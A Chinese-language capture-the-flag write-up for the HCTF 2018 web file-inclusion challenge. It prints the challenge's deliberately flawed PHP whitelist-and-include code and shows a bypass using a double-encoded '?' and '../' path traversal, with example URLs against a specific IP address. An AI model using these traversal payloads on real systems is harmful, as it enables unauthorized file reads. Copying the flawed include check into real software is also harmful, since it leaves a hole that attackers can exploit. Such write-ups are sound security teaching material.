HCTF 2018 web 文件包含
简单查看 右键在元素中发现了 source.php 也可以采用目录扫描的方式发现此php得到源代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码还提示了hint.php
访问得到了:
flag not here, and flag in ffffllllaaaagggg
得知flag的位置,也就 基本确定 是文件包含题目,下面开始分析代码
代码出现的函数分析:
isset():isset() 函数用于检测变量是否已设置并且非 NULL。
is_string():is_string() 函数用于检测变量是否是字符串。
in_array():搜索字符串并返回
if (in_array(“Mark”, $people))
{
echo “匹配已找到”;
}
else
{
echo “匹配未找到”;
}
mb_substr() :返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
**注释:**如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
<?php echo mb_substr("菜鸟教程", 0, 2);// 输出:菜鸟 ?>,从0 开始输出2
mb_strpos():查找字符串在另一个字符串中首次出现的位置
empty():用于检查一个变量是否为空。
empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告
程序分析:
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if
语句对变量进行检验,要求$page
为字符串,否则返回false
if (in_array($page, $whitelist)) {
return true;
}
if
语句判断$page
是否存在于$whitelist
数组中,存在则返回true
$_page = urldecode($page);
$_page = mb_substr( #返回字符串的一部分 $page,0,位置 返回位置之前的内容 及截取
$_page,
0,
mb_strpos($_page . '?', '?') #查找字符串在另一个字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
if
语句判断截取后的$page
是否存在于$whitelist
数组中,截取$page
中'?'
前部分,存在则返回true
4
.
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
if
语句判断url解码并截取后的$page
是否存在于$whitelist
中,存在则返回true若以上四个
if
语句均未返回值,则返回false 有三个if
语句可以返回true,第二个语句直接判断$page
,不可用
第三个语句截取
'?'
前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个
if
语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?'
,仍可通过第四个if
语句校验。('?'
两次编码值为'%253f'
),构造url:
?file=source.php%253f…/ffffllllaaaagggg经过测试发现无返回值,这可能是因为我们不知道ffffllllaaaagggg文件存放的具体位置所以依次增加…/,最终成功拿到flag
经过实际测试 不考虑URL编码问题也可以成功:
http://111.200.241.244:60272/?file=source.php?../…/…/…/…/ffffllllaaaagggg http://111.200.241.244:60272/?file=hint.php?../…/…/…/…/ffffllllaaaagggg
大佬们 点个关注,我会更加努力的 一位初入网安的小白